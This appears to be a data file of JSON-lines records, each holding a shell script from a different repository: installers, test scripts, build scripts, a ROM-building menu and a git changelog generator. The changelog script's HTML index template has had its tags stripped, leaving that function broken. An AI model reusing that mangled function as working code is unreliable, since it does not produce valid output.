; then\n echo \"installr: Por favor corra este script como root o bien como sudo.\"\n exit -1\nfi\n\n# dirname y basename no están disponibles en el Recovery\n# asi que tenemos que usar la coincidencia de patron Bash\nBASENAME=${0##*/}\nTHISDIR=${0%$BASENAME}\nPACKAGESDIR=\"${THISDIR}packages\"\nINSTALLMACOSAPP=$(echo \"${THISDIR}Install macOS\"*.app)\nSTARTOSINSTALL=$(echo \"${THISDIR}Install macOS\"*.app/Contents/Resources/startosinstall)\n\nif [ ! -e \"$STARTOSINSTALL\" ]; then\n echo \"No se encuentra el ejecutable instalador en este directorio!\"\n exit -1\nfi\n\necho \"****** Instalador desatendido de macOS! ******\"\necho \"macOS sera instalado desde:\"\necho \" ${INSTALLMACOSAPP}\"\necho \"Estos paquete adicionales seran instalados:\"\nfor PKG in $(/bin/ls -1 \"${PACKAGESDIR}\"/*.pkg); do\n echo \" ${PKG}\"\ndone\n\necho\necho \"Instalando macOS en el volumen /Volumes/macOS...\"\n\n# construyendo nuestra autoinstalación\nCMD=\"\\\"${STARTOSINSTALL}\\\" --agreetolicense --volume \\\"/Volumes/macOS\\\"\" \n\nfor ITEM in \"${PACKAGESDIR}\"/* ; do\n FILENAME=\"${ITEM##*/}\"\n EXTENSION=\"${FILENAME##*.}\"\n if [[ -e ${ITEM} ]]; then\n case ${EXTENSION} in\n pkg ) CMD=\"${CMD} --installpackage \\\"${ITEM}\\\"\" ;;\n * ) echo \" ignoring non-package ${ITEM}...\" ;;\n esac\n fi\ndone\n\n# inicia la instalación del sistema operativo macOS\neval $CMD"} {"text": "<reponame>emiloslavsky/dxfuse\n######################################################################\n# global variables\nmountpoint=${HOME}/MNT\nprojName=\"dxfuse_test_data\"\ndxfuse=\"$GOPATH/bin/dxfuse\"\nteardown_complete=0\n\n######################################################################\n\n# cleanup sequence\nfunction teardown {\n if [[ $teardown_complete == 1 ]]; then\n return\n fi\n teardown_complete=1\n\n rm -f cmd_results.txt\n\n echo \"unmounting dxfuse\"\n cd $HOME\n sudo umount $mountpoint\n\n for d in ${writeable_dirs[@]}; do\n dx rm -r $projName:/$d >& /dev/null || true\n done\n}\n\n# trap any errors and cleanup\ntrap teardown EXIT\n\n######################################################################\n\nfunction check_bat {\n local base_dir=$1\n\n # Get a list of all the attributes\n local bat_all_attrs=$(xattr $base_dir/bat.txt | sort | tr '\\n' ' ')\n local bat_all_expected=\"base.archivalState base.id base.state prop.eat prop.family prop.fly \"\n if [[ $bat_all_attrs != $bat_all_expected ]]; then\n echo \"bat attributes are incorrect\"\n echo \" got: $bat_all_attrs\"\n echo \" expecting: $bat_all_expected\"\n exit 1\n fi\n\n local bat_family=$(xattr -p prop.family $base_dir/bat.txt)\n local bat_family_expected=\"mammal\"\n if [[ $bat_family != $bat_family_expected ]]; then\n echo \"bat family is wrong\"\n echo \" got: $bat_family\"\n echo \" expecting: $bat_family_expected\"\n exit 1\n fi\n\n\n xattr -w prop.family carnivore $base_dir/bat.txt\n xattr -w prop.family mammal $base_dir/bat.txt\n}\n\nfunction check_whale {\n local base_dir=$1\n\n local whale_all_attrs=$(xattr $base_dir/whale.txt | sort | tr '\\n' ' ')\n local whale_all_expected=\"base.archivalState base.id base.state \"\n if [[ $whale_all_attrs != $whale_all_expected ]]; then\n echo \"whale attributes are incorrect\"\n echo \" got: $whale_all_attrs\"\n echo \" expecting: $whale_all_expected\"\n exit 1\n fi\n}\n\nfunction check_new {\n local base_dir=$1\n local f=$base_dir/Mountains.txt\n\n xattr -w prop.family geography $f\n xattr -w tag.high X $f\n\n local family=$(xattr -p prop.family $f)\n local expected=\"geography\"\n if [[ $family != $expected ]]; then\n echo \"$f family property is wrong\"\n echo \" got: $family\"\n echo \" expecting: $expected\"\n exit 1\n fi\n\n local all_attrs=$(xattr $f | sort | tr '\\n' ' ')\n local all_expected=\"base.archivalState base.id base.state prop.family tag.high \"\n if [[ $all_attrs != $all_expected ]]; then\n echo \"$f attributes are incorrect\"\n echo \" got: $all_attrs\"\n echo \" expecting: $all_expected\"\n exit 1\n fi\n\n xattr -d prop.family $f\n xattr -d tag.high $f\n xattr $f\n\n local all_attrs2=$(xattr $f | sort | tr '\\n' ' ')\n local all_expected2=\"base.archivalState base.id base.state \"\n if [[ $all_attrs2 != $all_expected2 ]]; then\n echo \"$f attributes are incorrect\"\n echo \" got: $all_attrs2\"\n echo \" expecting: $all_expected2\"\n exit 1\n fi\n}\n\nfunction xattr_test {\n mkdir -p $mountpoint\n\n sudo -E $dxfuse -verbose 2 -uid $(id -u) -gid $(id -g) $mountpoint $projName\n\n # This seems to be needed on MacOS\n sleep 1\n\n local base_dir=$mountpoint/$projName/xattrs\n tree $base_dir\n\n check_bat $base_dir\n check_whale $base_dir\n check_new $base_dir\n\n teardown\n}"} {"text": "<reponame>urbanfoxasia/ham<filename>toolsets/ruby/setup-ruby-devkit-windows.sh\n#!/bin/sh\n. ham-bash-lib.sh\n\ncase $HAM_OS in\n NT*)\n ;;\n *)\n echo \"E/Toolset: Unsupported host OS, this is for Windows only.\"\n exit 1\n ;;\nesac\n\necho \"# Setting up the Ruby toolchain to build native modules on Windows...\"\nexport RUBY_DEVKIT_DIR=\"$RUBY_DIR/devkit\"\nif [ ! -e \"$RUBY_DEVKIT_DIR\" ]; then\n echo \"E/Toolset: Could not find the ruby devkit folder, make sure the toolset has been downloaded correctly.\"\n exit 1\nfi\n\necho \"# Autogenerated config.yml\" > \"$RUBY_DEVKIT_DIR/config.yml\"\necho \"-\" `nativedir \"$RUBY_DIR\"` >> \"$RUBY_DEVKIT_DIR/config.yml\"\necho \"\" >> \"$RUBY_DEVKIT_DIR/config.yml\"\n\ncd \"$RUBY_DEVKIT_DIR\"\nruby dk.rb install -f\n\necho \"# Done.\""} {"text": "#!/bin/bash\n\nfunction f_python3_main() {\n\tif command -v python3 >/dev/null 2>&1; then \n\t\tf_out \"Python 3 already installed\"\n\telse\n\t\tf_out \"Installing Python 3\"\n\t\t$INSTALL_CMD python3\n\tfi\n}\n\nfunction f_pip3_main() {\n\tif command -v pip3 >/dev/null 2>&1; then \n\t\tf_out \"Pip 3 already installed\"\n\telse\n\t\tf_out \"Installing Pip 3\"\n\t\t$INSTALL_CMD python3-pip\n\tfi\n}"} {"text": "#!/bin/bash \n[ -z \"$1\" ] && echo \"Please provide a deployment bucket name\" && exit 1\n\nif ! aws s3 ls \"s3://$1\" > /dev/null 2>&1; then\n echo \"Creating bucket for deployment: $1\" \n if ! aws s3 mb \"s3://$1\" ; then\n echo \"Could not create bucket $1. Please specify a different name\" \n exit 1\n fi\nfi"} {"text": "#!/bin/bash\n\n# This script will build cfn-skeleton for all platforms\n\n# Run tests first\n\ngo vet ./... || exit 1\n\ngo test ./... || exit 1\n\ndeclare -A platforms=([linux]=linux [darwin]=osx [windows]=windows)\ndeclare -A architectures=([386]=i386 [amd64]=amd64)\n\nDESTDIR=dist\n\nmkdir -p $DESTDIR\n\necho \"Building cfn-skeleton\"\n\nfor platform in ${!platforms[@]}; do\n for architecture in ${!architectures[@]}; do\n echo \"... $platform $architecture...\"\n\n name=cfn-skeleton-${platforms[$platform]}-${architectures[$architecture]}\n\n if [ \"$platform\" == \"windows\" ]; then\n name=${name}.exe\n fi\n\n GOOS=$platform GOARCH=$architecture go build -o $DESTDIR/$name cmd/cfn-skeleton/*\n done\ndone\n\necho \"All done.\""} {"text": "<reponame>jadilson12/scripts\n\n#!/usr/bin/env bash\nROM=rr\nDirScripts=~/etc/scripts/devx12/\nDEVICE=sanders\ncustom=~/etc/custom\nAfter_Date=`date --date=\"\" +%Y%m%d`\nRAM=7\noutzip=~/$ROM/out/target/product/$device/\nRRZIP=\"RR*.zip\"\n\nexport LC_ALL=C #Obrigatorio quando usa novo sistema\n\nsource ~/etc/scripts/devx12/myrom.sh\nsource ~/etc/scripts/devx12/mycolor.sh\nsource ~/etc/scripts/devx12/mytoken.sh\nsource ~/etc/scripts/devx12/mystring.sh\nsource ~/etc/scripts/devx12/mylinux_comandos.sh\n#source ~/etc/scripts/devx12/myapktool.sh\nsource ~/etc/scripts/devx12/myupload.sh\n#clear\nMenu() {\n echo -e \"\\n ▼ Favor escolhe opção no menu abaixo by j144df:\"; echo -e ${grn}\"\"\"\n A:Build Android | B:Utilidades linux: | C: Tool Extras | D: Outros\n----------------------------------------------------------------------------------\n 1-Atualizar apps| 1-Configuar Proxy | | 1-LAMP\n 2-Atualizar ROM | 2-CPU/MEM| 7- | 2-Sync Gdrive SI\n 3-Limpar build | 3-Conectar Celular\n 4-Make build | 4-Contar arquivos\n 5-Enviar AFH | 5-Liberar memória\n 6-Enviar MEGA | 6-Baixar file ZIp\n 7-Enviar Source | 7-Reniciar PC\n 8-Atualizar Ota | 8-kill java\n 9-Mv Build | 9-Status disco\n -----------------------------------------------------------------------------------\"\"\"${txtrst}\n echo -n \"Qual a opção desejada?(x para cancelar) ou l para Limpar a tela >>> \"\n\tread opcao\n\tcase ${opcao} in\n\t x) exit ${exitCode} ;;\n a1) extras_atualizar;;\n a2) rom_atualizar ;;\n a3) rom_limpar ;;\n a4) rom_make ;;\n a5) enviar_afh ;;\n a6) enviar_mega ;;\n a7) enviar_sourceforce;;\n a8) rom_novidades ;;\n a9) enviar_sourceforce;;\n b1) linux_proxi ;;\n b2) htop ;;\n b3) Conectar_adb;;\n b4) ;;\n b5) ;;\n b6) ;;\n b7) ;;\n b8) ;;\n b9) ;;\n b10) ;;\n d1) linux_lamp;;\n d2) sync_gdriveDaTurma;;\n l) clear;;\n d4) bash ~/etc/scripts/menu_main.sh && exit 1 ;;\n\t \t*) 'Opcao desconhecida.' ;;\n\tesac\n Menu\n}\nMenu"} {"text": "<gh_stars>0\n#!/usr/bin/env bash\n\nassert_centos_distro(){\n assert_installed 'yum' 'errors.wrong_distro'\n if ! is_file_exist /etc/centos-release; then\n fail \"$(translate errors.wrong_distro)\" \"see_logs\"\n if ! cat /etc/centos-release | grep -q 'release 7\\.'; then\n fail \"$(translate errors.wrong_distro)\" \"see_logs\"\n fi\n fi\n}"} {"text": "veracrypt)\n name=\"VeraCrypt\"\n type=\"pkgInDmg\"\n #downloadURL=$(curl -s -L \"https://www.veracrypt.fr/en/Downloads.html\" | grep -Eio 'href=\"https://launchpad.net/veracrypt/trunk/(.*)/+download/VeraCrypt_([0-9].*).dmg\"' | cut -c7- | sed -e 's/\"$//' | sed \"s/+/+/g\")\n downloadURL=$(curl -fs \"https://www.veracrypt.fr/en/Downloads.html\" | grep \"https.*\\.dmg\" | grep -vi \"legacy\" | tr '\"' '\\n' | grep \"^https.*\" | grep -vi \".sig\" | sed \"s/+/+/g\")\n appNewVersion=$( echo \"${downloadURL}\" | sed -E 's/.*\\/[a-zA-Z]*_([0-9.]*.*)\\.dmg/\\1/g' )\n expectedTeamID=\"Z933746L2S\"\n ;;"} {"text": "#!/bin/bash\n\n## check if the app is available\nwhich git-release-notes &>/dev/null\nif [ \"$?\" -ne 0 ]; then\n echo \"Can't find the application 'git-release-notes' ...\"\n echo \"Please checkout https://github.com/mosling/git-release-notes\"\n echo \"Install it using npm install\"\n echo \"Make ii accessible with npm link\"\n exit 1\nfi\n\n## get path and include helper\nBASEPATH=$(dirname \"$0\")\nsource \"${BASEPATH}/helper.sh\"\necho \"executing $0 ...\"\n\n## default parameters\nSCRIPT=$BASEPATH/issues.js\nTEMPLATE=$BASEPATH/git-changelog.ejs\nHISTORY=$BASEPATH/changelog.history\nCHANGELOGSCRIPT=.changelog.sh\nRELTAG=\"\"\nFROMTAG=\"\"\nREPOPATH=\".\"\nOPTION=\"no-max-parents\"\nOUTFOLDER=${CHANGELOG_FOLDER:-$HOME/changelog}\nCLEANUP=\"no\"\nOVERLAP=3\n\nusage() {\n if [ -n \"$1\" ]; then\n colorbanner ${RED} $1\n fi\n echo\n echo \"Create changelog files for the given repository and release tag\"\n echo\n echo \"Usage: $0 [auto] -r <release-tag> [-i <'JSON-object'>] [-w <output-folder>] [-f <from-release-tag>]\"\n echo \" [-o <option>] [-g <repository>] [-s <script> ] [-t <template>] [hc]\"\n echo \"\"\n echo \" auto : auto mode, use the generated parameter without asking to change it\"\n echo \" ATTENTION: all other parameters are ignored in this case\"\n echo \" -r : existing release tag for the repository\"\n echo \" -p : path to the git local git repository (default ${REPOPATH})\"\n echo \" -f : existing release tag uses as since part for the revision range\"\n echo \" -o : some additional options for the git log (e.g. -o min-parents=0 -o grep=W-123456) (default ${OPTION})\"\n echo \" -i : some information used during template processing (default ${TMPLINFO})\"\n echo \" -s : post processing string (default ${SCRIPT})\"\n echo \" -t : template (default = ${TEMPLATE})\"\n echo \" -w : write the generated output to this folder (default ${OUTFOLDER})\"\n echo \" -c : cleanup output folder (i.e. rm -f <OUTFOLDER>/*) (default ${CLEANUP})\"\n echo \" -g : repository type (github,gitlab) to generate repository commit link\"\n echo \"\"\n echo \"Examples: \"\n echo \" changelog.sh -rHEAD -fam-1.9.1 -i'${TMPLINFO}' -w$HOME/development/changelog/am/am -p$HOME/development/dw/am/am\"\n \n exit 1\n}\n\ncheckObject() {\n OBJID=$1\n ## check if the given tag/commit exists\n git describe $OBJID &>/dev/null\n if [ \"$?\" -ne 0 ]; then\n echo -n \"Can't found git tag '${OBJID}' -- check for commit\"\n git log --abbrev-commit --oneline $OBJID &>/dev/null\n if [ \"$?\" -ne 0 ]; then\n echo \" -- can't found -- exiting.\"\n echo \"Here is a list of existing tags:\"\n git tag | column\n exit 1\n else\n echo \" -- found.\"\n fi\n fi\n}\n\n# this function corrects the very rare case where the describe function has an error\n# warning: tag '1.9.1' is really 'foo-1.9.1' here\n# in this case we use the real tag name 'foo-1.9.1'\ncorrectFromTag() {\n if [[ \"$FROMTAG\" == warning:* ]]; then\n echo -n \"found a mystic tag -- $FROMTAG\"\n FROMTAG=$(echo $FROMTAG | sed -n -e \"s/^warning.*is really '\\([^']*\\).*/\\\\1/p\")\n echo \" -- converted to -- $FROMTAG\"\n fi\n}\n\n# This generates an index html containing all tags with its date\ngenerateIndex() {\n echo \"Generate Index for all tags ..\"\n \n ## html header\n IDXNAME=\"${OUTFOLDER}/index.html\"\n echo '\n<!DOCTYPE html>\n<html lang=\"en\">\n\t<head>\n\t\t<meta charset=\"utf-8\">\n\t\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n\t\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\n\t\t<title>Changelog Index\n\n\t\t\n\t\t\" crossorigin=\"anonymous\">\n\t\t\n\t\t\n\t\n\n\t
\n\t
\n\t\t

Release Overview '$1'/'$2'

\n\t
\n\n\t
\n\t\t\n \t\n\t\t\t\n ' >$IDXNAME\n \n ## generate link entries\n echo \"\" >>$IDXNAME\n echo \"\" >>$IDXNAME\n git log --date-order --tags --simplify-by-decoration --pretty=\"format:%ai,%D\" | grep tag | sed -n -e \"s/\\([- 0-9:]*\\) .*tag: \\([^,]*\\).*/\n\t\t
Date Changelog
Date Changelog
$(date '+%Y-%m-%d %H:%M:%S')Overall
$(date '+%Y-%m-%d %H:%M:%S')HEAD
\\\\1<\\/td>\\\\2<\\/a><\\/td><\\/tr>/p\" >>$IDXNAME\n \n ## html footer\n echo '\n\t\t\t
\n\t
\n\t
\n\n\t\n\t\n\n ' >>$IDXNAME\n}\n\ngenerateCommitLog() {\n RELTAG=$1\n FROMTAG=$2\n \n ## generate filename f(-r, -f) before we change FROMTAG\n \n if [ \"HEAD\" == \"$RELTAG\" ] && [ \"root\" == \"$FROMTAG\" ]; then\n VER_FILENAME=\"ALL\"\n else\n VER_FILENAME=$(echo $RELTAG | sed -e \"s/\\//_/\")\n fi\n \n if [ -n \"$FROMTAG\" ]; then\n ## check if the given tag/commit exists\n if [ \"root\" == \"$FROMTAG\" ]; then\n echo \"find root node for git repository ..\"\n FROMTAG=$(git log --abbrev-commit --max-parents=0 --pretty=format:%h) &>/dev/null\n fi\n checkObject $FROMTAG\n else\n ## check if there is an tag before the given tag\n FROMTAG=$(git describe --tags --always --abbrev=0 ${RELTAG}^ 2>&1)\n if [ \"$?\" -ne 0 ]; then\n echo -n \"Can't found git tag before '${RELTAG}' -- use first commit\"\n FROMTAG=$(git log --abbrev-commit --max-parents=0 --pretty=format:%h) &>/dev/null\n if [ \"$?\" -ne 0 ]; then\n echo \" -- something wrong with the repository (?) -- not found.\"\n exit 1\n else\n echo \" -- found $FROMTAG\"\n fi\n fi\n fi\n \n correctFromTag\n \n if [ \"$FROMTAG\" == \"$RELTAG\" ]; then\n echo \"Revision range with equal value = '$FROMTAG' -- stop process\"\n break\n fi\n \n CHANGELOG_FILE=${OUTFOLDER}/changelog-${VER_FILENAME}.html\n \n if [ -f \"$CHANGELOG_FILE\" ]; then\n let OVERLAP=OVERLAP-1\n if [ $OVERLAP -eq 0 ]; then\n return 42\n fi\n fi\n \n echo \"Create changelog for ${FROMTAG} .. ${RELTAG} ==>> ${CHANGELOG_FILE}\"\n \n git-release-notes $OPTION -i \"$TMPLINFO\" -s $SCRIPT ${FROMTAG}..${RELTAG} $TEMPLATE >$CHANGELOG_FILE\n \n ## create a changelog for each work-item (i.e. ^FOO-4242 )\n WORKITEMS=$(git log ${FROMTAG}..${RELTAG} --format=\"%s\" | sed -ne 's/\\([A-Z]*-[0-9]\\{1,\\}\\):.*/\\1/p' | tr ',/' '\\n' | sed -e 's/[^-A-Z0-9]//g' | sort -u -t\\- -k1,1 -k2,2n)\n for wi in $WORKITEMS; do\n WORKFILE=${OUTFOLDER}/changelog-${wi}.html\n if [ ! -f $WORKFILE ]; then\n echo \"${RELTAG} -- work item $wi\"\n git-release-notes -o grep=${wi} -i \"$TMPLINFO\" -s $SCRIPT ${FROMTAG}..${RELTAG} $TEMPLATE >${OUTFOLDER}/changelog-${wi}.html\n fi\n done\n \n}\n\nreadValue() {\n SUB=$1\n DEF=$2\n RES=\"\"\n \n if [ \"$BASH_VERSINFO\" -ge 4 ]; then\n read -e -i \"$DEF\" -p \"$SUB\" RES\n else\n read -e -p \"$SUB [$DEF]\" INP\n RES=${INP:-DEF}\n fi\n \n echo $RES\n}\n\n## based on the remote repository URL for origin the parts to generate links later are created\ngetGitRepositoryParts() {\n parts=$(git remote get-url origin | tr '/' '\\n')\n \n GIT_PROJECT_SEP=\"\"\n FIRST_PART=\"true\"\n TMPLREPO=\"\"\n TMPLPRJ=\"\"\n \n for part in $parts\n do\n if [[ \"$part\" =~ ^http.* ]] || [[ -z \"${part}\" ]]\n then\n continue\n fi\n \n # first part is the git url\n if [ \"$FIRST_PART\" = \"true\" ]\n then\n TMPLGITURL=$part\n FIRST_PART=\"false\"\n else\n if [ -n \"$TMPLREPO\" ]\n then\n TMPLPRJ=${TMPLPRJ}${GIT_PROJECT_SEP}${TMPLREPO}\n GIT_PROJECT_SEP=\"/\"\n fi\n TMPLREPO=$part\n fi\n \n cntPart=$((cntPart + 1))\n done\n \n TMPLREPO=$(echo $TMPLREPO | sed -e \"s!\\.git!!\")\n \n # suggest the first part of the url is used as git system type\n TMPLGIT=$(echo $TMPLGITURL | cut -d'.' -f1)\n}\n\nAUTOMODE=\"$1\"\nif [[ $# -eq 0 ]] || [[ \"$AUTOMODE\" = \"auto\" ]]\nthen\n \n if [ -z \"$AUTOMODE\" ]\n then\n echo \"no options given .. start interview mode\"\n RELTAG=$(readValue \"Changelog for tag (leave empty for all) : \" \"\")\n if [ -n \"$RELTAG\" ]; then\n FROMTAG=$(readValue \"Changelog from tag (leave empty for previous) : \")\n fi\n fi\n \n TMPLROWHL=\"Merge branch\"\n TMPLTRACKER=$CHANGELOG_ISSUE_TRACKER\n CLEANUP=\"no\"\n getGitRepositoryParts\n \n if [ -z \"$AUTOMODE\" ]\n then\n TMPLGIT=$(readValue \"Repository Type : \" \"$TMPLGIT\")\n TMPLGITURL=$(readValue \"Repository Address : \" \"$TMPLGITURL\")\n TMPLPRJ=$(readValue \"Project Name : \" \"$TMPLPRJ\")\n TMPLREPO=$(readValue \"Repository Name : \" \"$TMPLREPO\")\n TMPLROWHL=$(readValue \"Substring to highlight a row : \" \"$TMPLROWHL\")\n TMPLTRACKER=$(readValue \"Issue Tracker Url (:id as placeholder) : \" \"$TMPLTRACKER\")\n fi\n OUTFOLDER=$OUTFOLDER/$TMPLPRJ/$TMPLREPO\n \n if [ -z \"$AUTOMODE\" ]\n then\n OUTFOLDER=$(readValue \"Output folder : \" \"$OUTFOLDER\")\n OPTION=$(readValue \"Options for git log : \" \"$OPTION\")\n CLEANUP=$(readValue \"Remove existing changelogs? : \" \"$CLEANUP\")\n fi\n \n TMPLINFO='{ \"project\":\"'$TMPLPRJ'\", \"repo\":\"'$TMPLREPO'\", \"rowHl\": \"'$TMPLROWHL'\", \"gittype\":\"'$TMPLGIT'\", \"giturl\":\"'$TMPLGITURL'\", \"issueTracker\":\"'$TMPLTRACKER'\" }'\n\n COPT=\"\"\n ROPT=\"\"\n if [ \"yes\" == \"$CLEANUP\" ]; then\n COPT=\"-c\"\n fi\n if [ -n \"$RELTAG\" ]; then\n ROPT=\" -r $RELTAG\"\n fi\n if [ -n \"$FROMTAG\" ]; then\n FOPT=\" -f $FROMTAG\"\n fi\n if [ -n \"$OPTION\" ]; then\n OOPT=\" -o $OPTION\"\n fi\n echo \"next time you can use the created \"\"$CHANGELOGSCRIPT\"\" script\"\n echo \"#!/bin/bash \n\necho Execute the generated script from the last call @ $(date)\n\nchangelog.sh${ROPT}${FOPT}${OOPT} -i'$TMPLINFO' -w$OUTFOLDER $COPT\n\" > $CHANGELOGSCRIPT\n\nelse\n while getopts \":r:f:o:w:i:p:s:t:hc\" opt; do\n case $opt in\n r)\n RELTAG=$OPTARG\n ;;\n f)\n FROMTAG=$OPTARG\n ;;\n o)\n OPTION=$OPTARG\n ;;\n p)\n REPOPATH=$OPTARG\n ;;\n i)\n TMPLINFO=$OPTARG\n ;;\n h)\n usage\n ;;\n s)\n SCRIPT=$OPTARG\n ;;\n t)\n TEMPLATE=$OPTARG\n ;;\n w)\n OUTFOLDER=$OPTARG\n ;;\n c)\n CLEANUP=\"yes\"\n ;;\n \\?)\n usage \"Invalid option -$OPTARG\"\n ;;\n esac\n done\nfi\n\nOPTION=$(echo $OPTION | sed -e \"s/ / -o /g\")\nOPTION=\"-o $OPTION\"\n\necho \"Switch to repository path '${REPOPATH}' ..\"\ncd $REPOPATH\n\n## check if the given tag/commit exists\ncheckObject $RELTAG\n\necho \"Options to generate changelog files\"\necho \"-----------------------------------\"\necho \"basepath : $BASEPATH\"\necho \"script : $SCRIPT\"\necho \"template : $TEMPLATE\"\nif [ -z \"$RELTAG\" ]; then\n echo \"release tag : changelog for all tags\"\nelse\n echo \"release tag : $RELTAG\"\nfi\necho \"previous tag : $FROMTAG\"\necho \"repository path : $REPOPATH\"\necho \"options : $OPTION\"\necho \"template info : $TMPLINFO\"\necho \"output folder : $OUTFOLDER\"\nif [ \"yes\" == \"$CLEANUP\" ]; then\n echo \"cleanup folder : ${OUTFOLDER}\"\nelse\n echo \"cleanup folder : nothing removed\"\nfi\necho \"-----------------------------------\"\necho \"\"\n\nif [ ! -d \"${OUTFOLDER}\" ]; then\n echo \"Creating missing output folder ${OUTFOLDER}\"\n mkdir -p $OUTFOLDER\nfi\n\nif [ \"yes\" == \"$CLEANUP\" ]; then\n rm -f ${OUTFOLDER}/changelog-* index.html\nfi\n\nif [ -z \"$RELTAG\" ]; then\n if [ -n \"$FROMTAG\" ]; then\n echo \".. ignore from '$FROMTAG'\"\n fi\n TAGS=$(git tag --sort=-creatordate)\n for t in $TAGS; do\n generateCommitLog $t \"\"\n RES=$?\n if [ 42 -eq \"$RES\" ]; then\n echo \" ... stop generating at $t, run into existing changelogs\"\n break\n fi\n done\n echo \"\"\n \n echo \"Generate overall changelog file ..\"\n generateCommitLog HEAD root\n echo \"\"\n \n echo \"Generate HEAD changelog ..\"\n generateCommitLog HEAD \"\"\n echo \"\"\nelse\n generateCommitLog $RELTAG $FROMTAG\n echo \"\"\nfi\n\ngenerateIndex \"$TMPLPRJ\" \"$TMPLREPO\"\necho \"Ready.\""} {"text": "gaol/test-eventbus-bridge\n#!/bin/sh\nset -e\ncwd=$(cd `dirname $0` && pwd)\ncd $cwd\n\ndist=0\npublish=0\n\nwhile (( \"$#\" )); do\n case \"$1\" in\n \"--dist\"*)\n dist=1\n shift\n ;;\n \"--publish\"*)\n publish=1\n shift\n ;;\n *)\n ;;\n esac\ndone\n\nif [ $dist -eq 1 -o $publish -eq 1 ]; then\n echo -e \"Package the project\"\n python setup.py sdist\nfi\n\nif [ $publish -eq 1 ]; then\n echo -e \"Publish the package to Pypi.org\"\n twine upload dist/*\nfi"} {"text": "gscho/core-planskafka/tests/test.bats\n@test \"kafka service is running\" {\n [ \"$(hab svc status | grep \"kafka\\.default\" | awk '{print $4}' | grep up)\" ]\n}\n\nexpected_version=\"$(echo \"${TEST_PKG_IDENT}\" | cut -d/ -f3)\"\n@test \"kafka matches version ${expected_version}\" {\n actual_version_array=($(cat \"${SUP_LOG}\" | grep --text -m 1 -oP \"(?<=INFO Kafka version : )([^ ]*)\"))\n diff <( echo \"${actual_version_array[0]}\") <(echo \"${expected_version}\")\n}"} {"text": "10-100\n#!/bin/bash\nset -euo pipefail\n\ncheck() {\n nvim -u dev.vim mistune.py\n}\n\nbuild-doc() {\n ./md2vim -notoc -desc 'Format your code using Black' doc/black.md doc/black.txt\n printf '\\nvim:ft=help:tw=80:ts=4:et:\\n' >> doc/black.txt\n # I still need to edit manually: wrap at 80 chars, add tag to first line, reduce\n # list indent.\n nvim doc/black.txt\n}\n\n\nhelp() { h; }\nh() {\n echo \"$0 [args]\"\n echo \"Tasks:\"\n compgen -A function | cat -n\n}\n\ndefault() {\n check \"$@\"\n}\n\nTIMEFORMAT=\"Task completed in %3lR\"\ntime ${@:-default}"} {"text": "#!/bin/bash\n\nset -e\n\nremote=$(git config --get remote.origin.url)\n\nbuild_dir=\"build\"\n\nif [ -d $build_dir/.git ]; then\n echo \"The .git directory already exists in the build directory.\"\n echo \"This probably means that you have already cloned a reposiory there.\"\n echo \"You can proabbaly start publishing but if you are not sure use\"\n echo \" rm -rf $build_dir\"\n echo \"to remove the whole build directory and start over.\"\n exit 1\nfi\n\nrm -r $build_dir || true\n\ngit clone $remote $build_dir\n\ncd $build_dir\n\ngit checkout gh-pages"} {"text": "#!/bin/bash\n\nMY_DIR=\"$( cd \"$( dirname \"${0}\" )\" && pwd )\"\n. ${MY_DIR}/cyber_dojo_helpers.sh\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ntest_SH() { :; }\n\nreadonly help_text=\"\nUse: cyber-dojo sh SERVICE\n\nShells into a service container\nExample: cyber-dojo sh web\nExample: cyber-dojo sh runner\"\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ntest___success() { :; }\n\ntest_____no_arg_prints_use()\n{\n assertSh\n assertStdoutEquals \"${help_text}\"\n assertNoStderr\n}\n\ntest_____help_arg_prints_use()\n{\n assertSh --help\n assertStdoutEquals \"${help_text}\"\n assertNoStderr\n\n assertSh -h\n assertStdoutEquals \"${help_text}\"\n assertNoStderr\n}\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\ntest___failure() { :; }\n\ntest_____arg_is_not_a_running_container()\n{\n local -r arg=wibble\n refuteSh ${arg}\n assertNoStdout\n assertStderrEquals \"ERROR: cyber_dojo_${arg} is not a running container\"\n}\n\ntest_____extra_arg_prints_use()\n{\n refuteSh wibble fubar\n assertStdoutEquals \"${help_text}\"\n assertNoStderr\n}\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n. ${MY_DIR}/shunit2_helpers.sh\n. ${MY_DIR}/shunit2"} {"text": "#!/bin/bash\n\nset -e #$help set\n\n# build frontend assets and put them in a place the Rocket server\n# expects\n\necho \"install NPM pacakages for Browserify to work\"\npushd static #$help pushd\nyarn\npopd #$help popd\necho \"ready to use Browserify to use JavaScript modules in Rust frontend\"\n\necho \"install NPM packages to use live Rust yew editor\"\n\nyarn\n\necho \"install cargo-web and set Rust environment to nightly to use it\"\n\nrustup default nightly\ncargo install cargo-web\n\necho \"https://www.steadylearner.com/blog/read/How-to-use-Rust-Yew for more information.\"\n\necho \"ready to use rollup to develop Rust Yew frontend\"\n\necho \"start a Rust yew live editor\"\n\nyarn watch:rs"} {"text": "#!/bin/bash\n\nset -o errexit\nset -o nounset\nset -o pipefail\n\n#\t`go get sigs.k8s.io/controller-tools/cmd/controller-gen@v0.2.5` to install the tool\ncontroller-gen object:headerFile=./hack/custom-boilerplate.go.txt paths=\"github.com/IBM/operator-for-redis-cluster/pkg/...\"\n\n# old code generator command\n#./vendor/k8s.io/code-generator/generate-groups.sh all github.com/IBM/operator-for-redis-cluster/pkg/client github.com/IBM/operator-for-redis-cluster/pkg/api redis:v1 --go-header-file ./hack/custom-boilerplate.go.txt"} {"text": "robermorales/singularity-octave-mpi-centos0\n#!/bin/bash\n\npwd=``\nname=`basename $pwd`\ndocker-machine create -d virtualbox $name\ndocker-machine stop $name\nVBoxManage sharedfolder add $name --name pwd --hostpath $pwd --automount\ndocker-machine start $name\ndocker-machine ssh $name sudo mkdir -p /pwd/\ndocker-machine ssh $name sudo mount -t vboxsf -o defaults,uid=1000,gid=1000 pwd /pwd/\necho \"eval \\$(docker-machine env $name)\" > vars.sh"} {"text": "echo \"Removing all manifests\"\nrm ~/Library/Containers/com.microsoft.Excel/Data/Documents/wef/*\necho \"Clearing caches\"\n/bin/rm -rf ~/Library/Containers/com.microsoft.Excel/Data/Library/Caches/*"} {"text": "10-100\n\n#!/bin/bash\n\nARGUMENT_LIST=(\n \"message\",\n)\n# default values\nOPTS=$(getopt 